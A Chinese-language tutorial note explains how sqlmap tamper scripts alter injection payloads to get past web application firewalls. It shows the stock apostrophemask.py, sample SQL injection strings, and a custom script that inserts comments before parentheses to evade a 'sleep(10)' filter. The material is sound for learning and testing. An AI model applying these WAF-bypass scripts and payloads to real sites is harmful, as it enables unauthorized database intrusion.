背景
因为我的主攻语言是 java,一般不怎么用注入工具,所以没有怎么研究过 sqlmap ,最近因为工作原因开始使用 python 开发,又遇到过一些难缠的 WAF ,阅读过一些文章后对 sqlmap 的 tamper 有了一个基本的了解,所以就有了这篇笔记。
tamper
tamper 中文译名为篡改,sqlmap 在发包前会经过 tamper 模块修改一些请求值来达到绕过安全防护或一些特殊场景的目的,可以理解为是一个过滤器。
sqlmap 的 tamper 目录中有很多的自带样例,可以从这里下手来理解 tamper 是如何工作。
e.g:
apostrophemask.py
#!/usr/bin/env python
"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOWEST
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Replaces apostrophe character with its UTF-8 full width counterpart
References:
* http://www.utf8-chartable.de/unicode-utf8-table.pl?start=65280&number=128
* http://lukasz.pilorz.net/testy/unicode_conversion/
* http://sla.ckers.org/forum/read.php?13,11562,11850
* http://lukasz.pilorz.net/testy/full_width_utf/index.phps
>>> tamper("1 AND '1'='1")
'1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
"""
return payload.replace('\'', "%EF%BC%87") if payload else payload
代码非常少,主要逻辑都在 tamper 函数里,有 payload 和 kwargs 函数。
这里可以修改一点代码来知道他传进来的是什么。
def tamper(payload, **kwargs):
print payload
print kwargs
return payload.replace('\'', "FLAG") if payload else payload
然后开始扫描我的 http log 服务。
输出的是正常的攻击载荷和请求头。
上面的代码我把 payload 里带单引号的全替换成了"FLAG"。
我的 http 日志里收到的请求都是被替换过后的。
dependencies 函数没有什么特别的用处,就是用来声明这个脚本的适用范围,比如 percentage.py 中就说明 “该应用只适用于ASP应用”
def dependencies():
singleTimeWarnMessage("tamper script '%s' is only meant to be run against ASP web applications" % os.path.basename(__file__).split(".")[0])
还有一个私有变量 priority ,用来声明脚本的优先级,在多个 tamper 脚本调用的情况下会选取优先级高的优先执行。
class PRIORITY:
LOWEST = -100
LOWER = -50
LOW = -10
NORMAL = 0
HIGH = 10
HIGHER = 50
HIGHEST = 100
值越大,优先级越高。
demo
再举一个例子,比如:
http://x/1.php?id=1 and sleep(10)
这样会被拦截,但 sleep/**/(10)
这样则不会。
那么我们就可以写一个 tamper 脚本来替换这种关键字。
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOWEST
def dependencies():
pass
def tamper(payload, **kwargs):
return payload.replace('(', "/**/(") if payload else payload